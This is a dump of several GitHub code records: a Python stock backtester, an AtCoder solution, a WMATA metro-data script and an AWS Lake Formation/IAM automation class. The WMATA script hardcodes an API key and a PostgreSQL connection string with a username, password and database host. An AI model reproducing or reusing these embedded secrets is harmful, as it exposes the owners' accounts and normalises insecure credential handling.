isOrder:\n out.append(o)\n\n return out\n\n def mergeOrders(self,*args,stoplost=0,takeprofit=0):\n code = args[0].code\n lots=0\n price=0\n comment=''\n deposit=0\n for order in args:\n if code != order.code:\n print('Cannot merge orders with different code')\n return\n lots=lots+order.lots\n price=price+order.lots*order.price\n deposit+=order.deposit\n comment='%s_%s_' % (comment,order.comment)\n self.orders.remove(order)\n newOrder=Order(args[0].ticket,code,price/lots,lots,deposit,self.Time,stoplost,takeprofit,comment)\n self.orders.append(newOrder)\n\n\n\nclass System():\n\n data={}\n params={}\n funcparam={}\n selectorlist=[]\n\n def __init__(self,default='close',lever=1,account=Account()):\n\n self.acc=account\n self.setCustomSelector()\n self._set_selector()\n self._set_funcparam()\n self.default=default\n self.lever=lever\n self.init()\n\n def getPrice(self,name,column,shift=0):\n data=self.timeData[name]\n return data.get_value(shift,column) if len(data.index)>shift else 0\n\n def getPrices(self,name,array,*columns):\n data=self.timeData[name]\n return data.loc[array,columns] if len(data.index)>max(array) else 0\n\n def setParams(self,**kwds):\n for k in kwds.keys():\n self.params[k]=kwds[k]\n\n def importData(self,name,data,maincode=False):\n if maincode:\n self.code=name\n self.data[name]=data\n\n def makeIndicator(self,indicator,time,*values,**params):\n value=[]\n for v in values:\n if isinstance(v,np.ndarray):\n value.append(v)\n else:\n value.append(np.array(v))\n\n ind=getattr(talib,indicator)(*value,**params)\n data={'time':time}\n if isinstance(ind,tuple):\n count=0\n for i in ind:\n data[count]=i\n count+=1\n else:\n data[0]=ind\n ind=pandas.DataFrame(data).dropna()\n\n return ind\n\n def refreshAccount(self,time,price):\n self.acc.Time=time\n for i in range(0,len(self.acc.orders)):\n for k in self.data.keys():\n if self.acc.orders[i].code==k:\n pass\n\n def runSelector(self,start=None,end=None,**kwds):\n '''\n\n :param kwds:\n functions: filter='', entry='', exit='', stoplost='', takeprofit='', ...\n params: fast=10, slow=20, ...\n\n :return:\n '''\n\n for k in kwds.keys():\n if k not in self.selectorlist:\n setattr(self,k,kwds[k])\n\n self.makeIndicators()\n\n Filter=getattr(self,kwds['Filter'])\n Entry=getattr(self,kwds['Entry'])\n Exit=getattr(self,kwds['Exit'])\n StopLost=getattr(self,kwds['StopLost'],0)\n TakeProfit=getattr(self,kwds['TakeProfit'],0)\n\n basicData=self.data[self.code]\n for i in basicData.index[start:end]:\n price=self.getPrice(self.code,self.default)\n self.time=basicData.get_value(i,'time')\n self._set_Time_Data()\n self.acc.refresh(self.time,price)\n\n for o in self.acc.orders:\n if Exit()*o.losts>0:\n self.acc.closeOrder(price,o)\n\n direct=Filter()\n if direct==0:\n continue\n\n if Entry()*direct>0:\n self.acc.openOrder(self.code,price,abs(Entry())*direct,StopLost(),TakeProfit())\n\n def simpleStrategy(self):\n pass\n\n def runSimple(self,start=None,end=None,**kwds):\n for k in kwds.keys():\n if k not in self.selectorlist:\n setattr(self,k,kwds[k])\n\n self.makeIndicators()\n\n basicData=self.data[self.code]\n\n for i in basicData.index[start:end]:\n self.time=basicData.get_value(i,'time')\n self._set_Time_Data()\n self.acc.refresh(self.time,self.getPrice(self.code,'closeBid')*10000)\n self.simpleStrategy()\n\n def optimalizeSimple(self,**params):\n paramsTree=STree('params',**params)\n\n paramsComb=paramsTree.showAllCombination()\n\n for pc in paramsComb:\n self.runSimple(**pc)\n\n def optimalize(self,start=None,end=None,params=None,funcparam=None,selector=None):\n params=self.params if params is None else params\n funcparam=self.funcparam if funcparam is None else funcparam\n\n if selector is None:\n selector={}\n for select in self.selectorlist:\n selector[select]=list(getattr(self,select).keys())\n\n sTree=STree('tree',**selector)\n sTree.createParamBranch(params,funcparam)\n\n sa=sTree.showAllCombination()\n\n for comb in sa:\n self.runSelector(start,end,**comb)\n\n def _set_funcparam(self):\n selfAttrs=list(filter(self.pop__,self.__dir__()))\n\n for s in self.selectorlist:\n selector=getattr(self,s)\n for name in selector.keys():\n if '%s_param' % name in selfAttrs:\n self.funcparam[name]=getattr(self,'%s_param' % name)\n\n def _set_selector(self):\n if self.selectorlist.__len__()==0:\n self.selectorlist=['Filter','Entry','Exit']\n\n selfAttrs=list(filter(self.pop__,self.__dir__()))\n\n for s in self.selectorlist:\n if not hasattr(self,s):\n setattr(self,s,{})\n sdict=getattr(self,s)\n\n for a in selfAttrs:\n if s in a and s != a :\n attr=getattr(self,a)\n if isinstance(getattr(self,a),type(self.__init__)):\n sdict[a]=attr\n\n def _set_Time_Data(self):\n self.timeData={}\n for name in self.data.keys():\n data=self.data[name]\n if isinstance(data,pandas.DataFrame):\n data=data[data['time']<=self.time]\n data.index=reversed(np.arange(0,data.index.size))\n self.timeData[name]=data\n\n def pop__(self,x):\n return '__' not in x\n\n def init(self):\n pass\n\n def setCustomSelector(self):\n pass\n\n def makeIndicators(self):\n pass\n\nif __name__ == '__main__':\n\n pass\n\n\n\n\n","repo_name":"cheatm/StockProject","sub_path":"BackTest.py","file_name":"BackTest.py","file_ext":"py","file_size_in_byte":13211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26175946787","text":"N = int(input())\r\np = list(map(int, input().split()))\r\nilist = [0] * N\r\nfor i in range(N):\r\n ilist[p[i] - 1] = i\r\ns = ilist[N - 1]\r\ncnt = 0\r\nindex = N - 1\r\nans = []\r\nwhile cnt < N - 1:\r\n if index < 0:\r\n break\r\n if s == index:\r\n index -= 1\r\n s = ilist[index]\r\n continue\r\n cnt += 1\r\n ans.append(s + 1)\r\n tmp = p[s + 1]\r\n p[s + 1] = p[s]\r\n p[s] = tmp\r\n ilist[index] += 1\r\n ilist[p[s] - 1] -= 1\r\n s = ilist[index]\r\n\r\nif cnt != N - 1:\r\n print(-1)\r\nelse:\r\n for i in range(N):\r\n if p[i] != i + 1:\r\n print(-1)\r\n exit()\r\n for i in ans:\r\n print(i)\r\n","repo_name":"MDzer0/atcoder","sub_path":"submissions/arc110/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38954799781","text":"def getMetroStatus():\n\timport http.client, urllib.request, urllib.parse, urllib.error, base64, time\n\theaders = {\n # Request headers\n 'api_key': '6b700f7ea9db408e9745c207da7ca827',}\n\tparams = urllib.parse.urlencode({})\n\ttry:\n\t\tconn = http.client.HTTPSConnection('api.wmata.com')\n\t\tconn.request(\"GET\", \"/StationPrediction.svc/json/GetPrediction/All?%s\" % params, \"{body}\", headers)\n\t\tresponse = conn.getresponse()\n\t\tdata = response.read()\n\t\treturn str(data) #returns the data as a string rather than raw bytes\n\t\tconn.close()\n\texcept Exception as e:\n\t\tprint(\"[Errno {0}] {1}\".format(e.errno, e.strerror))\n\ndef JSONfromMetro(trainString): #converts the string into a dictionary file\n\timport json, re\n\tfixSlash=re.compile(r'\\\\') #this line and the next remove triple-slashes, which screw up the json module\n\tfixedTrainString=fixSlash.sub('',trainString)\n\ttrainJSON=json.loads(fixedTrainString[2:-2]+\"}\") #slightly adjusts the string to put it in json form\n\treturn trainJSON['Trains']\n\ndef trainSaveSQL(trainData):\n\timport datetime, pandas as pd\n\tfrom sqlalchemy import create_engine\n\tengine = create_engine('postgresql+psycopg2://Original:tolistbtGU!@teamoriginal.ccc95gjlnnnc.us-east-1.rds.amazonaws.com:5432/WmataData') #opens the engine to WmataData\n #the line below creates a table name starting with WMATA and then containing the date and time information, with each day/hour/minute/second taking two characters\n\ttableName='WMATA'+str(datetime.datetime.now().month)+'-'+str(datetime.datetime.now().day).rjust(2,'0')+'_'+str(datetime.datetime.now().hour).rjust(2,'0')+'_'+str(datetime.datetime.now().minute).rjust(2,'0')+'_'+str(datetime.datetime.now().second).rjust(2,'0')\n\ttrainFrame=pd.DataFrame('-', index=range(len(trainData)), columns=['Car','Loc','Lin','Des','Min','Gro']) #creates trainFrame, the DataFrame to send to the SQL server\n\tfor iter in range(len(trainData)): #for all the trains in trainData\n for colName in ['Car','LocationCode','Line','DestinationCode','Min','Group']: #select the six relevant fields\n trainFrame.loc[iter][colName[:3]]=[trainData[iter][colName]] #and fill in the relevant data \n\ttrainFrame.to_sql(tableName, engine, if_exists='append') #send trainFrame to the SQL server\n\ndef recordTrainsSQL(timeMin,intervalSec): #records for timeMin minutes, about ever intervalSec seconds\n\timport time\n\tstartTime=time.time()\n\twhile time.time()<(startTime+60*timeMin): #runs for timeMin minutes\n\t\tstepStart=time.time()\n\t\ttrainSaveSQL(JSONfromMetro(getMetroStatus())) #save the current train data\n\t\tstepTime=time.time()-stepStart #calculates the time this step took\n\t\ttime.sleep(intervalSec-stepTime) #wait a few seconds\n\n#Stations from Rosslyn to Stadium-Armory (Silver Orange Blue) to serve as input for LineStat\nSOBLine=['C05', 'C04', 'C03', 'C02', 'C01', 'D01', 'D02', 'D03', 'D04', 'D05', 'D06', 'D07', 'D08']","repo_name":"Sherabeila/originalists","sub_path":"MetroProjectSQL.py","file_name":"MetroProjectSQL.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74435907599","text":"import sys\nimport logging\nimport time\nimport boto3\nimport botocore.exceptions\nimport shortuuid\nimport json\n\nfrom data_mesh_util.lib.constants import *\nimport data_mesh_util.lib.utils as utils\n\n\nclass ApiAutomator:\n _target_account = None\n _session = None\n _logger = None\n _logger = logging.getLogger(\"ApiAutomator\")\n # make sure we always log to standard out\n _logger.addHandler(logging.StreamHandler(sys.stdout))\n _clients = None\n\n def __init__(self, target_account: str, session: boto3.session.Session, log_level: str = \"INFO\"):\n self._target_account = target_account\n self._session = session\n self._logger.setLevel(log_level)\n self._clients = {}\n\n if log_level == 'DEBUG':\n utils.log_instance_signature(self, self._logger)\n\n def _get_client(self, client_name):\n client = self._clients.get(client_name)\n\n if client is None:\n client = self._session.client(client_name)\n self._clients[client_name] = client\n\n return client\n\n def _get_bucket_name(self, bucket_value):\n if 's3://' in bucket_value:\n return bucket_value.split('/')[2]\n else:\n return bucket_value\n\n def add_aws_trust_to_role(self, account_id_to_trust: str, trust_role_name: str, update_role_name: str):\n '''\n Method to add a trust relationship to an AWS Account to a Role\n :return:\n '''\n iam_client = self._get_client('iam')\n\n # update the trust policy to include the provided account ID\n response = iam_client.get_role(RoleName=update_role_name)\n\n policy_doc = response.get('Role').get('AssumeRolePolicyDocument')\n\n trust_role_name = utils.get_role_arn(account_id=account_id_to_trust, role_name=trust_role_name)\n # add the account to the trust relationship\n trusted_entities = policy_doc.get('Statement')[0].get('Principal').get('AWS')\n if account_id_to_trust not in trusted_entities:\n trusted_entities.append(trust_role_name)\n policy_doc.get('Statement')[0].get('Principal')['AWS'] = trusted_entities\n\n self._logger.debug(policy_doc)\n iam_client.update_assume_role_policy(RoleName=update_role_name, PolicyDocument=json.dumps(policy_doc))\n\n self._logger.info(\"Enabled Account %s to assume %s\" % (account_id_to_trust, update_role_name))\n\n def _validate_tag(self, tag_key: str, tag_body: dict) -> None:\n lf_client = self._get_client('lakeformation')\n\n # create the tag or validate it exists\n try:\n lf_client.create_lf_tag(\n TagKey=tag_key,\n TagValues=tag_body.get('ValidValues')\n )\n except lf_client.exceptions.AlreadyExistsException:\n pass\n except lf_client.exceptions.InvalidInputException as e:\n if 'Tag key already exists' in str(e):\n pass\n else:\n raise e\n\n # add all missing tag values to valid values (as they must have existed somewhere to be assigned)\n current_tag_values = lf_client.get_lf_tag(\n TagKey=tag_key\n ).get('TagValues')\n missing_tag_values = []\n for value in tag_body.get('TagValues'):\n if value not in current_tag_values:\n missing_tag_values.append(value)\n\n if len(missing_tag_values) > 0:\n lf_client.update_lf_tag(\n TagKey=tag_key,\n TagValuesToAdd=missing_tag_values\n )\n\n def attach_tag(self, database: str, table: str, tag: tuple):\n # create the tag or make sure it already exists\n tag_key = tag[0]\n tag_body = tag[1]\n self._validate_tag(tag_key=tag_key, tag_body=tag_body)\n\n # attach the tag to the table\n lf_client = self._get_client('lakeformation')\n try:\n args = {\n \"Resource\": {\n 'Table': {\n 'DatabaseName': database,\n 'Name': table\n }\n },\n \"LFTags\": [\n {\n 'TagKey': tag_key,\n 'TagValues': tag_body.get('TagValues')\n },\n ]\n }\n lf_client.add_lf_tags_to_resource(**args)\n except lf_client.exceptions.AlreadyExistsException:\n pass\n\n def configure_iam(self, policy_name: str, policy_desc: str, policy_template: str, role_name: str, role_desc: str,\n account_id: str, data_mesh_account_id: str, config: dict = None,\n additional_assuming_principals: dict = None, managed_policies_to_attach: list = None):\n iam_client = self._get_client('iam')\n\n policy_arn = None\n try:\n # create an IAM Policy from the template\n policy_doc = utils.generate_policy(policy_template, config)\n\n response = iam_client.create_policy(\n PolicyName=policy_name,\n Path=DATA_MESH_IAM_PATH,\n PolicyDocument=policy_doc,\n Description=policy_desc,\n Tags=[DEFAULT_TAGS]\n )\n policy_arn = response.get('Policy').get('Arn')\n waiter = iam_client.get_waiter('policy_exists')\n waiter.wait(PolicyArn=policy_arn)\n self._logger.info(f\"Policy {policy_name} created as {policy_arn}\")\n except iam_client.exceptions.EntityAlreadyExistsException:\n policy_arn = utils.get_policy_arn(account_id, policy_name)\n while True:\n try:\n iam_client.create_policy_version(\n PolicyArn=policy_arn,\n PolicyDocument=policy_doc,\n SetAsDefault=True\n )\n self._logger.info(f\"Policy {policy_name} version created as {policy_arn}\")\n break\n except iam_client.exceptions.LimitExceededException as le:\n if \"versions\" in str(le):\n versions = iam_client.list_policy_versions(\n PolicyArn=policy_arn,\n MaxItems=10\n )\n\n # delete the policy version at the last position\n last_index = len(versions.get('Versions')) - 1\n v = versions.get('Versions')[last_index].get('VersionId')\n iam_client.delete_policy_version(\n PolicyArn=policy_arn,\n VersionId=v\n )\n self._logger.info(f\"Deleted Policy Version {v}\")\n\n # after this we'll retry immediately\n else:\n # this is a general throttling issue and we'll retry\n time.sleep(1)\n\n # create a non-root user who can assume the role\n try:\n response = iam_client.create_user(\n Path=DATA_MESH_IAM_PATH,\n UserName=role_name,\n Tags=[DEFAULT_TAGS]\n )\n self._logger.info(f\"Created new User {role_name}\")\n\n waiter = iam_client.get_waiter('user_exists')\n waiter.wait(UserName=role_name)\n except iam_client.exceptions.EntityAlreadyExistsException:\n self._logger.info(f\"User {role_name} already exists. No action required.\")\n\n user_arn = \"arn:aws:iam::%s:user%s%s\" % (account_id, DATA_MESH_IAM_PATH, role_name)\n\n # create a group for the user\n group_name = f\"{role_name}Group\"\n try:\n response = iam_client.create_group(\n Path=DATA_MESH_IAM_PATH,\n GroupName=group_name\n )\n self._logger.info(f\"Created new Group {group_name}\")\n except iam_client.exceptions.EntityAlreadyExistsException:\n self._logger.info(f\"Group {group_name} already exists. No action required.\")\n\n group_arn = \"arn:aws:iam::%s:group%s%sGroup\" % (account_id, DATA_MESH_IAM_PATH, role_name)\n\n # put the user into the group\n try:\n response = iam_client.add_user_to_group(\n GroupName=group_name,\n UserName=role_name\n )\n self._logger.info(f\"Added User {role_name} to Group {group_name}\")\n except iam_client.exceptions.EntityAlreadyExistsException:\n self._logger.info(f\"User {role_name} already in {group_name}. No action required.\")\n\n role_arn = None\n\n self._logger.debug(\"Waiting for User to be ready for inclusion in AssumeRolePolicy\")\n\n # attach the data access policy to the group\n iam_client.attach_group_policy(\n GroupName=group_name,\n PolicyArn=policy_arn\n )\n self._logger.info(f\"Attached Policy {policy_arn} to Group {group_name}\")\n\n role_created = False\n retries = 0\n while role_created is False and retries < 5:\n try:\n # now create the IAM Role with a trust policy to the indicated principal and the root user\n aws_principals = [user_arn, (\"arn:aws:iam::%s:root\" % account_id)]\n iam_client.create_role(\n Path=DATA_MESH_IAM_PATH,\n RoleName=role_name,\n AssumeRolePolicyDocument=json.dumps(\n utils.create_assume_role_doc(aws_principals=aws_principals,\n additional_principals=additional_assuming_principals)),\n Description=role_desc,\n Tags=[DEFAULT_TAGS]\n )\n # wait for role active\n waiter = iam_client.get_waiter('role_exists')\n waiter.wait(RoleName=role_name)\n role_created = True\n\n role_arn = utils.get_role_arn(account_id, role_name)\n except iam_client.exceptions.EntityAlreadyExistsException:\n role_arn = iam_client.get_role(RoleName=role_name).get(\n 'Role').get('Arn')\n role_created = True\n except iam_client.exceptions.MalformedPolicyDocumentException as mpde:\n if \"Invalid principal\" in str(mpde):\n # this is raised when something within IAM hasn't yet propagated correctly. Boto waiters\n # don't seem to catch it, so we have to inject a manual sleep/retry\n time.sleep(2)\n retries += 1\n\n self._logger.info(f\"Validated Role {role_name} as {role_arn}\")\n self._logger.debug(\"Waiting for Role to be ready for Policy Attach\")\n\n # attach the created policy to the role\n policy_attached = False\n retries = 0\n\n while policy_attached is False and retries < 5:\n try:\n iam_client.attach_role_policy(\n RoleName=role_name,\n PolicyArn=policy_arn\n )\n policy_attached = True\n self._logger.info(f\"Attached Policy {policy_arn} to Role {role_name}\")\n except iam_client.exceptions.MalformedPolicyDocumentException as mpde:\n if \"Invalid principal\" in str(mpde):\n # this is raised when something within IAM hasn't yet propagated correctly.\n time.sleep(2)\n retries += 1\n except iam_client.exceptions.NoSuchEntityException as nse:\n if f\"The role with name {role_name} cannot be found.\" in str(nse):\n time.sleep(2)\n retries += 1\n\n # attach the indicated managed policies\n if managed_policies_to_attach:\n for policy in managed_policies_to_attach:\n iam_client.attach_role_policy(\n RoleName=role_name,\n PolicyArn=\"arn:aws:iam::aws:policy/%s\" % policy\n )\n self._logger.info(f\"Attached managed policy {policy}\")\n\n # create an assume role policy\n policy_arn = self.create_assume_role_policy(\n source_account_id=account_id,\n policy_name=(\"Assume%s\" % role_name),\n role_arn=role_arn\n )\n\n # now let the group assume the role\n iam_client.attach_group_policy(GroupName=group_name, PolicyArn=policy_arn)\n self._logger.info(f\"Bound {policy_arn} to Group {group_name}\")\n\n # let the role assume the read only consumer policy\n if account_id == data_mesh_account_id and role_name != DATA_MESH_READONLY_ROLENAME:\n iam_client.attach_role_policy(RoleName=role_name,\n PolicyArn=utils.get_policy_arn(data_mesh_account_id,\n f\"Assume{DATA_MESH_READONLY_ROLENAME}\"))\n\n return role_arn, user_arn, group_arn\n\n def create_assume_role_policy(self, source_account_id: str, policy_name: str, role_arn: str):\n iam_client = self._get_client('iam')\n\n # create a policy that lets someone assume this new role\n policy_arn = None\n try:\n response = iam_client.create_policy(\n PolicyName=policy_name,\n Path=DATA_MESH_IAM_PATH,\n PolicyDocument=json.dumps(utils.create_assume_role_doc(resource=role_arn)),\n Description=(\"Policy allowing the grantee the ability to assume Role %s\" % role_arn),\n Tags=[DEFAULT_TAGS]\n )\n policy_arn = response.get('Policy').get('Arn')\n except iam_client.exceptions.EntityAlreadyExistsException:\n policy_arn = \"arn:aws:iam::%s:policy%s%s\" % (source_account_id, DATA_MESH_IAM_PATH, policy_name)\n\n self._logger.info(f\"Validated {policy_name} as {policy_arn}\")\n\n return policy_arn\n\n def leave_ram_shares(self, principal: str, ram_shares: dict) -> None:\n ram_client = self._get_client('ram')\n\n for object, share_info in ram_shares.items():\n ram_client.disassociate_resource_share(\n resourceShareArn=share_info.get('arn'),\n principals=[\n principal,\n ]\n )\n\n def lf_grant_create_db(self, iam_role_arn: str):\n # this call is subject to race conditions with IAM roles which haven't propagated to LF, so retry 5 times\n tries = 0\n completed = False\n while completed is False and tries < 5:\n try:\n # grant this role the ability to create databases and tables\n lf_client = self._get_client('lakeformation')\n lf_client.grant_permissions(\n Principal={\n 'DataLakePrincipalIdentifier': iam_role_arn\n },\n Resource={'Catalog': {}},\n Permissions=[\n 'CREATE_DATABASE'\n ]\n )\n self._logger.info(f\"Granted {iam_role_arn} CREATE_DATABASE privileges on Catalog\")\n completed = True\n except lf_client.exceptions.InvalidInputException as iie:\n if 'Invalid principal' in str(iie):\n tries += 1\n time.sleep(2)\n else:\n raise iie\n\n def get_table_partitions(self, database_name: str, table_name: str) -> list:\n # load the partitions for the table if there are any\n glue_client = self._get_client('glue')\n all_partitions = []\n partition_args = {\n \"DatabaseName\": database_name,\n \"TableName\": table_name,\n \"ExcludeColumnSchema\": False\n }\n has_more_partitions = True\n while has_more_partitions is True:\n partitions = glue_client.get_partitions(**partition_args)\n all_partitions.extend(partitions.get('Partitions'))\n\n if 'NextToken' in partitions:\n partition_args['NextToken'] = partitions.get('NextToken')\n else:\n has_more_partitions = False\n\n return all_partitions\n\n def enable_crawler_role(self, crawler_role_arn: str, grant_to_role_name: str):\n if crawler_role_arn is None or grant_to_role_name is None:\n raise Exception(\"Cannot enable Crawler Role without Role Arn and Target Role Name\")\n\n crawler_role_name = crawler_role_arn.split('/')[-1]\n config = {\n \"role_name\": crawler_role_name,\n \"role_arn\": crawler_role_arn\n }\n policy = utils.generate_policy(\"enable_crawler_role.pystache\", config)\n iam_client = self._get_client('iam')\n try:\n response = iam_client.create_policy(\n PolicyName=f\"EnableCrawlerRole{crawler_role_name}\",\n Path=DATA_MESH_IAM_PATH,\n PolicyDocument=policy,\n Description=(f\"Policy allowing the grantee to pass Crawler Role {crawler_role_name}\"),\n Tags=[DEFAULT_TAGS]\n )\n policy_arn = response.get('Policy').get('Arn')\n waiter = iam_client.get_waiter('policy_exists')\n waiter.wait(PolicyArn=policy_arn)\n except iam_client.exceptions.EntityAlreadyExistsException:\n pass\n\n # attach to the input role\n iam_client.attach_role_policy(\n RoleName=grant_to_role_name,\n PolicyArn=policy_arn\n )\n\n self._logger.info(f\"Enabled {grant_to_role_name} to pass role {crawler_role_name} to Glue Crawlers\")\n\n def create_table_partition_metadata(self, database_name: str, table_name: str, partition_input_list: list):\n glue_client = self._get_client('glue')\n\n partitions_created = 0\n for p in partition_input_list:\n keys = [\n 'DatabaseName', 'TableName', 'CreationTime', 'LastAnalyzedTime', 'CatalogId'\n ]\n p = utils.remove_dict_keys(input_dict=p, remove_keys=keys)\n\n try:\n glue_client.create_partition(\n DatabaseName=database_name,\n TableName=table_name,\n PartitionInput=p\n )\n partitions_created += 1\n except glue_client.exceptions.AlreadyExistsException:\n pass\n\n self._logger.info(f\"Create {partitions_created} new Table Partitions\")\n\n def load_glue_tables(self, catalog_id: str, source_db_name: str,\n table_name_regex: str, load_lf_tags: bool = True):\n glue_client = self._get_client('glue')\n lf_client = self._get_client('lakeformation')\n\n # get the tables which are included in the set provided through args\n get_tables_args = {\n 'CatalogId': catalog_id,\n 'DatabaseName': source_db_name\n }\n\n # add the table filter as a regex matching anything including the provided table\n if table_name_regex is not None:\n get_tables_args['Expression'] = table_name_regex\n\n finished_reading = False\n last_token = None\n all_tables = []\n\n def _no_data():\n raise Exception(\"Unable to find any Tables matching %s in Database %s\" % (table_name_regex,\n source_db_name))\n\n while finished_reading is False:\n if last_token is not None:\n get_tables_args['NextToken'] = last_token\n\n try:\n get_table_response = glue_client.get_tables(\n **get_tables_args\n )\n except glue_client.exceptions.EntityNotFoundException:\n _no_data()\n\n if 'NextToken' in get_table_response:\n last_token = get_table_response.get('NextToken')\n else:\n finished_reading = True\n\n # add the tables returned from this instance of the request\n if not get_table_response.get('TableList'):\n _no_data()\n else:\n all_tables.extend(get_table_response.get('TableList'))\n\n self._logger.info(f\"Loaded {len(all_tables)} tables matching {table_name_regex} from Glue\")\n\n # now load all lakeformation tags for the supplied objects\n if load_lf_tags is True:\n for t in all_tables:\n tags = lf_client.get_resource_lf_tags(\n CatalogId=catalog_id,\n Resource={\n 'Table': {\n 'CatalogId': catalog_id,\n 'DatabaseName': t.get('DatabaseName'),\n 'Name': t.get('Name')\n }\n },\n ShowAssignedLFTags=True\n )\n key = 'LFTagsOnTable'\n use_tags = {}\n if tags.get(key) is not None and len(tags.get(key)) > 0:\n for table_tag in tags.get(key):\n # get all the valid values for the tag in LF\n lf_tag = lf_client.get_lf_tag(TagKey=table_tag.get('TagKey'))\n use_tags[table_tag.get('TagKey')] = {\n 'TagValues': table_tag.get('TagValues'),\n 'ValidValues': lf_tag.get('TagValues')\n }\n t['Tags'] = use_tags\n\n return all_tables\n\n def write_glue_catalog_resource_policy(self, policy: dict, current_hash: str = None):\n '''\n Write a new glue catalog policy document. This is a low level interface that just performs the mechanic of\n correctly writing the supplied policy, including where a hash must be supplied.\n :param policy:\n :param current_hash:\n :return:\n '''\n glue_client = self._get_client('glue')\n\n try:\n current_resource_policy = glue_client.get_resource_policy()\n\n # if no external hash has been provided, then just use the current hash from the doc.\n if current_hash is None:\n current_hash = current_resource_policy.get('PolicyHash')\n\n glue_client.put_resource_policy(\n PolicyInJson=json.dumps(policy),\n PolicyHashCondition=current_hash,\n PolicyExistsCondition='MUST_EXIST',\n EnableHybrid='TRUE'\n )\n except glue_client.exceptions.EntityNotFoundException:\n # write the resource policy as new\n glue_client.put_resource_policy(\n PolicyInJson=json.dumps(policy),\n PolicyExistsCondition='NOT_EXIST',\n EnableHybrid='TRUE'\n )\n\n def get_current_glue_policy(self):\n glue_client = self._get_client('glue')\n\n try:\n current_resource_policy = glue_client.get_resource_policy()\n glue_policy = json.loads(current_resource_policy.get('PolicyInJson'))\n current_hash = current_resource_policy.get('PolicyHash')\n\n return glue_policy, current_hash\n except glue_client.exceptions.EntityNotFoundException:\n return None, None\n\n def add_tbac_glue_catalog_resource_policy(self, region: str, producer_account_id: str, consumer_account_id: str,\n database_name: str, tables: list):\n current_resource_policy, current_hash = self.get_current_glue_policy()\n\n cf = {\n 'region': region,\n 'producer_account_id': producer_account_id,\n 'consumer_account_id': consumer_account_id,\n \"database_name\": database_name,\n 'tables': tables\n }\n\n # add the table list and generate full policy\n cf['table_list'] = tables\n policy = json.loads(utils.generate_policy('lf_cross_account_tbac.pystache', config=cf))\n\n if current_resource_policy is None:\n new_resource_policy = {\n \"Version\": \"2012-10-17\",\n \"Statement\": policy\n }\n self.write_glue_catalog_resource_policy(\n policy=new_resource_policy\n )\n self._logger.info(\n f\"Created new Catalog Resource Policy on {producer_account_id} allowing Tag Based Access by {consumer_account_id}\")\n else:\n update_statement, policy_index, did_modification = self._get_glue_resource_policy_statement_to_modify(\n region=region,\n policy=current_resource_policy, producer_account_id=producer_account_id,\n consumer_account_id=consumer_account_id,\n database_name=database_name, tables=tables\n )\n\n # add the new statement\n if update_statement is None:\n current_resource_policy['Statement'].append(policy)\n did_modification = True\n elif update_statement is not None:\n current_resource_policy['Statement'][policy_index] = update_statement\n\n if did_modification is True:\n self.write_glue_catalog_resource_policy(current_hash=current_hash, policy=current_resource_policy)\n self._logger.info(\n f\"Updated Catalog Resource Policy on {producer_account_id} allowing Tag Based Access by {consumer_account_id}\")\n\n def _get_glue_resource_policy_statement_to_modify(self, region: str, policy: dict, producer_account_id: str,\n consumer_account_id: str,\n database_name: str, tables: list) -> tuple:\n # go through the policy to find if there's a match on region, consumer principal, and database\n target_statement_index = 0\n statement_match = None\n missing_tables = []\n if tables is not None:\n missing_tables = tables.copy()\n\n for i, statement in enumerate(policy.get('Statement')):\n if statement is not None and 'AWS' in statement.get('Principal') and consumer_account_id in statement.get(\n 'Principal').get('AWS'):\n # go through the resources to get region and DB match\n for j, resource in enumerate(statement.get('Resource')):\n # resources will be in format:\n #\n # \"arn:aws:glue:::table/*\",\n # \"arn:aws:glue:::database/*\",\n # \"arn:aws:glue:::catalog\"\n if region in resource and producer_account_id in resource and (\n ':database' in resource and database_name in resource):\n # this statement is a match\n target_statement_index = i\n statement_match = statement\n break\n\n did_modification = False\n if statement_match is not None:\n for k, resource in enumerate(statement_match.get('Resource')):\n resource_name = resource.split(\"/\")[-1]\n try:\n resource_index = missing_tables.index(resource_name)\n del missing_tables[resource_index]\n except ValueError:\n pass\n\n # add the tables that were missing\n if len(missing_tables) > 0:\n statement_match['Resource'].extend(missing_tables)\n did_modification = True\n\n return statement_match, target_statement_index, did_modification\n else:\n return None, None, None\n\n def assert_is_data_lake_admin(self, principal):\n lf_client = self._get_client('lakeformation')\n\n admin_matched = False\n for admin in lf_client.get_data_lake_settings().get('DataLakeSettings').get(\"DataLakeAdmins\"):\n if principal == admin.get('DataLakePrincipalIdentifier'):\n admin_matched = True\n break\n\n if admin_matched is False:\n raise Exception(f\"Principal {principal} is not Data Lake Admin\")\n\n def _get_dummy_bucket_name(self):\n return f\"data-mesh-delete-me-{self._target_account}\"\n\n def _create_dummy_bucket(self, aws_region: str):\n s3_client = self._get_client('s3')\n\n try:\n args = {\n \"ACL\": 'private',\n \"Bucket\": self._get_dummy_bucket_name()\n }\n\n if aws_region != 'us-east-1':\n args[\"CreateBucketConfiguration\"] = {\n 'LocationConstraint': aws_region\n }\n s3_client.create_bucket(**args)\n except s3_client.exceptions.BucketAlreadyExists:\n pass\n\n def _drop_dummy_bucket(self):\n s3_client = self._get_client('s3')\n\n s3_client.delete_bucket(\n Bucket=self._get_dummy_bucket_name()\n )\n\n def get_or_create_lf_svc_linked_role(self, aws_region: str):\n # check if the role already exists\n iam_client = self._get_client('iam')\n svc_role = 'AWSServiceRoleForLakeFormationDataAccess'\n existing_role = None\n try:\n existing_role = iam_client.get_role(\n RoleName=svc_role\n )\n except iam_client.exceptions.NoSuchEntityException:\n pass\n\n if existing_role is not None:\n return existing_role.get('Role').get('Arn')\n else:\n # create a dummy bucket in S3\n self._create_dummy_bucket(aws_region)\n dummy_s3_arn = utils.convert_s3_path_to_arn(f\"s3://{self._get_dummy_bucket_name()}\")\n\n # register the bucket as a data lake location\n lf_client = self._get_client('lakeformation')\n try:\n lf_client.register_resource(\n ResourceArn=dummy_s3_arn,\n UseServiceLinkedRole=True\n )\n except lf_client.exceptions.AlreadyExistsException:\n pass\n\n # confirm service linked role exists\n waiter = iam_client.get_waiter(waiter_name='role_exists')\n waiter.wait(\n RoleName=svc_role\n )\n\n # drop the data lake location\n try:\n lf_client.deregister_resource(\n ResourceArn=dummy_s3_arn\n )\n except lf_client.exceptions.InvalidInputException as e:\n if 